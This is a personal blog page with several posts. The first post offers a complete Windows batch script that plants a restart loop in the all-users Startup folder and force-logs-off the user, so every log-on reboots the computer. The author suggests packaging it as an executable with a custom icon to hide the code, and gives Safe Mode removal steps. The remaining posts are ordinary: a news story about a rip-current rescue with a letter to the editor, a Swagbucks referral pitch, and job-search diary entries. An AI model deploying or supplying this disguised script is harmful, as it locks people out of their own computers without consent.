An Infinite Restart Script for Windows Operating Systems

February 22nd, 2010

In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts. Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN. Last week, I started to think about how could I have the computer restart every time a user tries to log on to their computer. Finally, after shifting code around for a while, I came up with a reliable script to do what I wanted it to do.

Upon execution, this Windows Batch Script will create a file called “restart.bat” that includes the command to immediately restart the computer. This file is then moved to the Startup folder for all users. After the file is moved, the user that is currently logged in will be logged off. When the user attempts to log on to the computer again, the computer will restart. Now every time the user tries to log on to the computer, it will automatically restart.

This is a script that will annoy just about everyone. One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below. Now instead of running a script, you run an executable with your own icon. The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.

To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode. This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears. After you boot into Safe Mode, go to (Start > All Programs > Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.

:: Windows OS Infinite Restart Script
:: This script will cause a Windows OS to immediately restart after logging in to a user account.
:: Created by Andrew R. DeFilippis on February 22, 2010
:: http://www.andrewdefilippis.com/

@ECHO OFF
:: Disable echo commands from printing on screen

ECHO ^@ECHO OFF > restart.bat
ECHO SHUTDOWN /r /t 0 >> restart.bat
ECHO EXIT >> restart.bat

VER | FIND “5.1″ > NUL
IF ERRORLEVEL 0 GOTO OLD
VER | FIND “5.2″ > NUL
IF ERRORLEVEL 0 GOTO OLD
:: Determine what OS version is being used

GOTO NEW
:: If OS version 5.1 or 5.2 is not found, then go to NEW

:OLD
MOVE “restart.bat” “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into older Windows OS’s
:: Then log off the current user

:NEW
MOVE “restart.bat” “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into newer Windows OS’s
:: Then log off the current user

This script is posted for educational purposes only.

I am NOT liable for the use and/or misuse of this script.

  • Digg
  • del.icio.us
  • Facebook
  • LinkedIn
  • MySpace
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • Blogosphere News
  • Faves
  • Twitter

Andrew DeFilippis Technology , , , , , , , , , , , , , ,

Articles From 2005 – When My Friends and I Helped Two Strangers at Ocean Shores

January 3rd, 2010

Shoreline man rescued after rip tide carries him away from the beach
By Kaitlin Manry – Daily World writer
Saturday, May 28, 2005 11:06 PM PDT
Print Version | E-mail This Story
*

OCEAN SHORES – After getting swept into deep ocean water by a rip-tide, a 21-year-old Shoreline man was rescued by Ocean Shores Surf Rescue officers, Saturday afternoon.

John Scarcelli was swimming with two friends near the Quinault Beach Resort & Casino when an undercurrent pulled them out to sea. After hearing the men call for help, a bystander called 911 at 11:40 a.m., and officers arrived two minutes later, according to Sgt. Paul Luck.

Scarcelli’s friends were able to break free of the dangerous current and swim to shore, but he remained stranded in the ocean. Officer Chris Iversen and firefighter Mike Thuirer, both members of the Surf Rescue team, reached Scarcelli on Sea-Dos and brought him to shore, Luck said. He was treated for hypothermia and taken to Grays Harbor Community Hospital in Aberdeen, where he was treated and released, according to a nursing supervisor.

“A 2 minute response time is really good with as many people as are on the beach today,” Luck said, Saturday. “It took us a while to suit up and get down there, but the first guy was on scene in 2 minutes. … We were real pleased.”

In addition to Ocean Shores police and fire departments, the Grays Harbor County Sheriffs Office responded and the Coast Guard flew overhead, making sure no one else was trapped at sea.

Volunteers manned the main Ocean Shores beach approaches and distributed information on rip currents Saturday.

“If you are caught in a rip current, swim parallel to the shore until you get out,” Luck said.

He also advised swimmers to take a break at least every 20 minutes to prevent hypothermia.

“It never has been safe to swim,” he said. “We always say never go out past your knees.”

My response, with the help of my dad. This was a letter to the editor that appeared later in the week.

Some true heroes were overlooked in rescue story
Thursday, June 2, 2005 11:09 AM PDT
Print Version | E-mail This Story

I enjoyed reading the May 29 Daily World article about John Scarcelli and his friend being rescued by the Ocean Shores Surf Rescue team and the Coast Guard, but a few very important details were left out of the story.

Although it is true that they were eventually rescued by these professional agencies, the fact that those agencies were called to begin with was because of the prompt and decisive actions of several bystanders.

Andrew, my son, happened to be one of them.

Andrew and his friends, Mark Tanis and Brett Scott, were at Ocean Shores for the Memorial Day weekend when they heard screams for help from the water.

When they investigated, they saw Scarcelli and his friends about 100 feet from shore. They appeared to be in trouble.

Without regard for their own safety, all three good Samaritans swam out to the two men. The water was crashing on them and they knew they had to act quickly. Andrew and Mark immediately grabbed the friend and began toward shore. Brett continued toward Scarcelli as he was farther out and began assisting him.

The water began taking its toll on Brett as he attempted to get Scarcelli to the beach and he had to abandon his effort. He then instructed Scarcelli on how to float on his back until professional help arrived.

Meanwhile, Andrew and Mark, at approximately 50 feet from shore with the friend, began yelling for others on the beach to call for assistance. After pulling Scarcelli’s friend from the water and ensuring his safety, my son turned back to the water to see if his friend Brett was able to bring Mr. Scarcelli to shore.

To his shock, he saw Brett make it to within 30 feet of the shore and stop swimming. He immediately re-entered the water to assist his friend, pulling him to shore where Brett collapsed on the beach.

The agencies credited with rescuing the swimmers were on scene within approximately two minutes and pulled Scarcelli from the water, but only after the heroic efforts of these fine young men. They are the ones who most likely saved these swimmers from drowning. While in the ambulance, Scarcelli thanked Brett for doing everything he could for him and said he would not have made it without him.

I thought you may want to know what really happened that day and credit the real heroes in your story – not just the Surf Rescue team and the Coast Guard, but these extraordinary young men who risked their own safety to help someone in danger. They are in the truest sense heroes!

Larry DeFilippis

University Place

Articles provided by http://www.thedailyworld.com.

  • Digg
  • del.icio.us
  • Facebook
  • LinkedIn
  • MySpace
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • Blogosphere News
  • Faves
  • Twitter

Andrew DeFilippis Vacation , , , , , , , , , , , , , , , ,

Have you collected any swagbucks?

December 16th, 2009

I stumbled onto an interesting site a while ago called swagbucks.com. My girlfriend’s friend told me about this search engine and the fact that it uses Google and Ask.com search results. The best thing about swagbucks.com is that you can collect swagbucks and “purchase” prizes.

At the time of writing this, I am sitting at sixteen swagbucks. Three of those are from when I signed up, two are from a code that was given to me for looking at offers and the rest have been from searching. My account has been active for about 3 days and so far with searching, I have managed to collect eleven swagbucks.

If you are interested in signing up, the best prize to “purchase” with your swagbucks is the $5 Amazon.com gift certificate. It costs 45 swagbucks, and once you add the gift certificate to your Amazon.com account, you can use it towards any purchase you want. My girlfriend’s friend was able to purchase her Kindle e-books using the gift certificates that she has been collecting through searching on swagbucks.com.

With the referral, I would get a matching swagbuck whenever you found one, up to 100 swagbucks. Once you sign up, you can have your friends sign up with your own referral link so you can collect some extra swagbucks too!

Interested in signing up? If you have read this and do not mind, I would greatly appreciate having everyone sign up as a referral. You can click on the banner image below or click on this link: My Swagbucks.com Referral Link

Search & Win

  • Digg
  • del.icio.us
  • Facebook
  • LinkedIn
  • MySpace
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • Blogosphere News
  • Faves
  • Twitter

Andrew DeFilippis Reviews , , , , , , , , , , , , , , , ,

Days that make you go ugh…

November 19th, 2009

Today was kind of a bummer. I ended up being 2 minutes late to the LESA testing center today because of other people taking forever and my mistake of going to the wrong building. The building mix up could have been averted, but alone, would not have made me late walking to the other building. I would still have had about 10 minutes of waiting time before the test started if other people would have been more prepared to handle the situation.

Long story short, I have a rescheduled testing time on Sunday and everything should be fine after that.

I really wish that people in government positions would be more prepared and faster at what they do. One of the problems is probably procedures that are not well followed.

Ugh. Just an annoying day so far.

  • Digg
  • del.icio.us
  • Facebook
  • LinkedIn
  • MySpace
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • Blogosphere News
  • Faves
  • Twitter

Andrew DeFilippis Daily Blah , , , , ,

I’ve been out of work for a while…

November 14th, 2009

Since mid May, I have been looking for someone to hire me. April was the last month that I was employed and it has been very frustrating trying to find a company that is hiring someone who is not a 16 year old high school student or a previously employed 40 year old who has to support their family.

One of the most frustrating things about the search for a job, is the amount of employers that are looking for people to work from 8AM to 5PM. Because I am going to school at Clover Park Technical College, I am unable to work any time before 3:30PM. I probably would have been able to work 20 or more jobs by now, but because of the schedule conflict, I couldn’t apply.

Today, after driving to different stores around Tacoma asking if they were hiring, I ended up coming back home to check the job search websites, indeed.com, and craigslist.com, I found a company that was looking for someone in the IT field. What a surprise! I finally found a company that was for sure, hiring for nights and weekends! After looking through the details of the job, I couldn’t find one request that I didn’t match. My classes at CPTC cover almost exactly what they need. Getting an education and having a job that directly matches what I am learning, would be perfect! I am hoping that this might be my lucky break, and I might have my jump start into Information Technology, the career that I will be going into.

As a backup to all of the job searching that is going on, an application that I turned in a while back, finally processed. The application is for a chance to work for LESA in Tacoma. LESA is the Law Enforcement Support Agency. I applied to become a Communication Officer or Dispatcher for Pierce County. They are holding a qualification test on the 19th where I will know if I possess the skills necessary to become one of their dispatchers or a 911 call taker.

I am hoping that soon, I will be able to post that I have settled into a new job!

  • Digg
  • del.icio.us
  • Facebook
  • LinkedIn
  • MySpace
  • Reddit
  • Slashdot
  • StumbleUpon
  • Technorati
  • Blogosphere News
  • Faves
  • Twitter

Andrew DeFilippis Daily Blah , , , , , ,